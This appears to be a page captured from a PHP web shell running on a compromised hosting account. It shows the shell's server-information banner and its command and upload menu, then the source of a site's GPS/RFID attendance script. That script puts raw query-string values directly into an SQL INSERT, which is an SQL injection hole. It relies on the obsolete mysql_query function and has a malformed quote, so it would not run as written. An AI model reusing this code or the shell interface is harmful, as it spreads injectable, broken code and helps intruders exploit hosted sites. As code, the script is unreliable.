|
Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/report_js/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
//Please Calculate(refer Section Data Conversion in developer Manual) Latitude & Longitude and insert into your database.
<?php
$qs = str_replace('$', '', $_SERVER['QUERY_STRING']); // get rid of the $
$qs = str_replace('*', '', $qs); // get rid of the *
$submissions = explode(',', $qs); // split the subs
$SID = ""; // store for sid
$MID = ""; // store for mid
// loop
for ($i = 0; $i < count($submissions); $i++) {
$sections = explode('&', $submissions[$i]);
if($i == 0) {
$SID = $sections[0];
$MID = $sections[1];
$RFID = $sections[2];
$DOT = $sections[3];
$Latitude= $sections[4]; //This is Raw Latitude data with Direction.You have to calculate According to developer Manual and insert into db
$Longitude= $sections[5]; //This is Raw Longitude data with Direction.You have to calculate According to developer Manual and insert into db
$Speed= $sections[6];
$Din1= $sections[7];
$Ain1= $sections[8];
} else {
$RFID = $sections[0];
}
include("config.php");
//$date = '30/01/2011, 4:57 pm';
//$to_mysql_date = $DOT;
//$sd = date("Y-m-d H:i:s",$to_mysql_date)
$string = $DOT;
$day = substr($string, 0, 2);
$month = substr($string, 2, 2);
$year = substr($string, 4, 4);
$hour = substr($string, 8, 2);
$min = substr($string, 10, 2);
$sec = substr($string, 12, 2);
$result_date = $day.'-'.$month.'-'.$year.' '.$hour.':'.$min.':'.$sec;
//echo $result;
$insert=mysql_query("insert into tblattendance values('', '".$SID."','".$MID."','".$RFID."','".$result_date."','".$Latitude."','".$Longitude."','".$Speed."','".$Din1."','".$Ain1."')) or die(mysql_error());
if($insert)
{
echo '$RFID=0#';
}
else
{
echo 'Values are not registered';
}
}
?>